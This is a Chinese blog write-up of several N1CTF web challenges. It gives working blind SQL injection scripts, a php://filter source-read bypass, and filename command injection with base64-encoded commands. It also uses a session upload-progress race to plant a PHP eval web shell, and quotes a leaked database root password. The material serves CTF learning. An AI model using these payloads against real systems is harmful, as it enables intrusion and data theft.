Xi4or0uji's blog

n1ctf writeup

字数统计: 1.8k阅读时长: 9 min
2019/01/20 Share

之前在学其他知识点的时候看到了这个比赛,顺便学一哈

77777

这题的关键点在这一段代码上

waf过滤了很多,但是like没有过滤,所以可以用like注入去获得password字段
假如我们传过去的flag是123,hi是where (password like 0x25)
查询语句就会变成

1
update users set points=123 where (password like 0x25)

这时分数变成了123,如果我们匹配一个错的字符分数会不变,因此就是like盲注,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import string
import urllib

url = "http://47.97.168.223/index.php"
flag = ""
true_flag = ""
for i in range(1,1000):
payload = flag
for j in "0123456789"+string.letters+"!@#$%^&*()_+={}~`":
data = {
'flag':"123",
"hi":urllib.unquote(" where (password like 0x%s25)"%(payload+hex(ord(j))[2:]))
}
r = requests.post(url=url,data=data)
if '123' in r.content:
flag += hex(ord(j))[2:]
true_flag += j
print(true_flag)
data1 = {
"flag":"1",
"hi":" where 1"
}
r = requests.post(url=url,data=data1)
break

77777 2

这一题也是注入,但是过滤了更加多的东西,like和非1的数字都被过滤了,剩下括号,加号和大于号。

可以看到,因为(username > “a”)为真,所以id=1+1=2,选出来的是id=2的用户的信息。
回去题目update那里也可以用这样的方法判断pw是什么
脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import urllib

url = "http://47.52.137.90:20000/index.php"
flag = ""
for i in range(1,1000):
for j in range(33,127):
payload = urllib.unquote("%%2b( pw > '%s')"%(flag+chr(j)))
data = {
"flag":"123",
"hi":payload
}
r = requests.post(url=url,data=data)
if "| 123<br/>" in r.content:
tmp = urllib.unquote("%%2b( pw > '%s')"%(flag+chr(j-1)))
tmp_data = {
"flag":"123",
"hi":tmp
}
s = requests.post(url=url,data=tmp_data)
if "| 124<br/>" in s.content:
flag += chr(j-1)
print(flag)
break

funning eating cms

这题本来想把docker搭起来,但是中途不知道为什么一直出错,只能看着源码去学了。
user.php有文件包含漏洞,可以读下源码

1
http://47.52.152.93:20000/user.php?page=php://filter/read=convert.base64-encode/resource=index

index.php

1
2
3
4
5
6
7
8
9
<?php
require_once "function.php";
if(isset($_SESSION['login'] )){
Header("Location: user.php?page=info");
}
else{
include "templates/index.html";
}
?>

function.php(这个代码只贴关键的部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}


function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

可以看到过滤了flag、manage、ffffllllaaaaggg这些关键字,但是可以看到赋值uri的时候用了parse_url,因此可以用斜杠绕过。

1
http://47.52.152.93:20000///user.php?page=php://filter/read=convert.base64-encode/resource=ffffllllaaaaggg

ffffllllaaaaggg.php

1
2
3
4
5
6
7
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}else {
echo "you can find sth in m4aaannngggeee";
}
?>

m4aaannngggeee.php

1
2
3
4
5
6
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";
?>

upload.html会将文件上传到upllloadddd.php,因此读一下upllloadddd.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>

可以看见有这样一句话

1
2
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";

system处可以进行命令注入,我们先看一下本地的

可以看见,确实是可以将信息打印出来的,因此我们构造filename || ls 文件名去进行命令执行

1
2
3
filename="1.jpg || ls"
filename="1.jpg || `echo bHMgLw== | base64 -d`"
filename="1.jpg || `echo Y2F0IC9mbGFnXzIzMzMzMw== | base64 -d`"

然后就能拿到flag了

easy php

这题首先扫泄露可以扫到一些源码

1
2
3
4
5
6
7
8
index.php
<?php
require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
require_once 'views/'.$_GET['action'];
else
header('Location: index.php?action=login');

找一些可控的量

1
2
if(isset($_POST['username']) && isset($_POST['password'])
if(isset($_POST['signature']) && isset($_POST['mood']))

password的验证基本不可能绕过

1
$password = md5($_POST['password']);

username过滤了一堆东西

1
if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)

剩下两个东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function addsla_all(){
if (!get_magic_quotes_gpc()){
if (!empty($_GET)){
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST)){
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all();
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));

可以看到signature和mood会进行sql查询,引号无法使用,但是反引号还是可以用的

1
2
$db->insert(array('userid','username',' signature=1`,`123`),((select if((select database()) like 0x25,sleep(5),0)),(select 
2),`12345','1'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));

因此可以进行反引号注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import string
import urllib
url = "http://47.97.221.96:23333/index.php?action=publish"
flag = ""
true_flag = ""
cookie = {
"PHPSESSID":"adjd54akdsoej9savry8d5sdh0"
}
for i in range(1,1000):
print i
payload = flag
for j in "0123456789."+string.letters+"!@#$%^&*()-+={}`~_":
data = {
"signature": urllib.unquote("1`,`123`),((select if((select password from ctf_users limit 1)) like 0x%s25,sleep(3),0)),(select 2),`yingyingying" % (payload + hex(ord(j))[2:])),
"mood": "1"
}
try:
r = requests.post(url=url,data=data,cookies=cookie,timeout=2.5)
except:
flag += hex(ord(j))[2:]
true_flag += j
print true_flag
break

然后拿到管理员的密码是nu1ladmin,但是登录发现要“you can only login at the usual address”
admin的allow_ip是127.0.0.1,题目还提示了是ssrf攻击,所以这个ssrf应该是本地用户登录以后才能用。

开启了upload_progress.enabled,而且还给出来session.save_path的路径,尝试一下包含

1
http://47.97.221.96/index.php?action=../../../../var/lib/php5/sess_bk4gtkgh5k3ul3tvaejvtqo36t

发现确实能包含

1
code|s:5:"sdfa83f";

到了这步,考察的就是session_upload了
先看一下官方的文档

1
http://php.net/manual/zh/session.upload-progress.php

然后我们的表单改成这样

1
2
3
4
5
6
<form action="http://47.97.221.96:23333" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?=phpinfo();?>"/>
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>

因为cleanup为on,用条件竞争去写shell
数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#发包
Cookie: PHP_SESSID = bk4gtkgh5k3ul3tvaejvtqo36t
Connection: done

------0123456789
Content-Disposition: form-data: name="PHP_SESSION_UPLOAD_PROGRESS"

<?=`echo'<?php eval(\$_POST[cmd]) ?>'>1.php`?>
------0123456789
Content-Disposition: form-data: name="file1";filename="dog.jpg"
Content-Type: image/jpeg

<script language="php">
phpinfo();
</script>
-------0123456789
Content-Disposition: form-data: name="file2";filename="dog.jpg"
Content-Type: image/jpeg

<script language="php">
phpinfo();
</script>
-------0123456789

#请求
GET /index.php?action=../../../../var/lib/php5/sess_bk4gtkgh5k3ul3tvaejvtqo36t HTTP/1.1
Host: 47.97.221.96:23333
Cache-Control: max-age=0
Upgrade-Insecure-Request: 1
User-Agent: xxx
Accept: xxx
Accept-Language: xxx
Cookie: PHPSESSID = bk4gtkgh5k3ul3tvaejvtqo36t
Connetion: close

然后可以在/app/下面找到写进去的shell,用菜刀连过去,没有找到flag文件???试一下题目开头这句

1
dockerfile FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5

找到这堆东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ADD nu1lctf.tar.gz /app/
RUN apt-get update
RUN a2enmod rewrite
COPY sql.sql /tmp/sql.sql
COPY run.sh /run.sh
RUN mkdir /home/nu1lctf
COPY clean_danger.sh /home/nu1lctf/clean_danger.sh

RUN chmod +x /run.sh
RUN chmod 777 /tmp/sql.sql
RUN chmod 555 /home/nu1lctf/clean_danger.sh

EXPOSE 80
CMD ["/run.sh"]

读取.sh文件

1
2
3
4
5
clean_danger.sh
cd /app/adminpic/ rm *.jpg

run.sh
#!/bin/bash chown www-data:www-data /app -R if [ "$ALLOW_OVERRIDE" = "**False**" ]; then unset ALLOW_OVERRIDE else sed -i "s/AllowOverride None/AllowOverride All/g" /etc/apache2/apache2.conf a2enmod rewrite fi # initialize database mysqld_safe --skip-grant-tables& sleep 5 ## change root password mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('Nu1Lctf%#~:p') WHERE user='root';FLUSH PRIVILEGES;" ## restart mysql service mysql restart ## execute sql file mysql -uroot -pNu1Lctf\%\#\~\:p < /tmp/sql.sql ## crontab (while true;do rm -rf /tmp/*;sleep 2;done)& ## rm sql cd /tmp/ rm sql.sql source /etc/apache2/envvars tail -F /var/log/apache2/* & exec apache2 -D FOREGROUND

可以看到有数据库密码,登录进后台就能拿到flag了

CATALOG
  1. 1. 77777
  2. 2. 77777 2
  3. 3. funning eating cms
  4. 4. easy php